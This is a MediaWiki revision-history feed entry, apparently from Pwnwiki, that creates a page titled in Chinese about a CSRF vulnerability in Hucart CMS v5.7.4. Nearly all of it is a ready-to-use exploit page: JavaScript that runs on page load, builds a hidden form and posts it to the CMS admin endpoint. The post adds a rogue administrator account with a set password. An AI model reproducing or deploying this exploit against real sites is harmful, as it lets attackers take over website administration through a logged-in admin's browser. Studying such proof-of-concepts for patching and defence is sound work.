https://pwnwiki.com/index.php?action=history&feed=atom&title=Hucart_cms_v5.7.4_%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%93%A1%E5%B8%B3%E8%99%9F%E6%96%B0%E5%A2%9ECSRF%E6%BC%8F%E6%B4%9E
Hucart cms v5.7.4 任意管理員帳號新增CSRF漏洞 - Revision history
2026-04-25T08:38:08Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=Hucart_cms_v5.7.4_%E4%BB%BB%E6%84%8F%E7%AE%A1%E7%90%86%E5%93%A1%E5%B8%B3%E8%99%9F%E6%96%B0%E5%A2%9ECSRF%E6%BC%8F%E6%B4%9E&diff=1459&oldid=prev
Pwnwiki: Created page with "==EXP== <pre> <html><body> <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target =..."
2021-04-10T05:30:21Z
<p>Created page with "==EXP== <pre> <html><body> <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target =..."</p>
<p><b>New page</b></p><div>==EXP==<br />
<pre><br />
<html><body><br />
<script type="text/javascript"><br />
function post(url,fields)<br />
{<br />
var p = document.createElement("form");<br />
p.action = url;<br />
p.innerHTML = fields;<br />
p.target = "_self";<br />
p.method = "post";<br />
document.body.appendChild(p);<br />
p.submit();<br />
}<br />
function csrf_hack()<br />
{<br />
var fields;<br />
<br />
fields += "<input type='hidden' name='adm_user' value='hack' />";<br />
fields += "<input type='hidden' name='adm_email' value='admin@hack.com' />"; <br />
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />"; <br />
fields += "<input type='hidden' name='adm_pwd' value='hack123' />"; <br />
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />"; <br />
fields += "<input type='hidden' name='adm_enabled' value='1' />"; <br />
fields += "<input type='hidden' name='act_type' value='add' />"; <br />
fields += "<input type='hidden' name='adm_id' value='' />"; <br />
<br />
var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";<br />
post(url,fields);<br />
}<br />
window.onload = function() { csrf_hack();}<br />
</script><br />
</body></html><br />
</pre></div>
Pwnwiki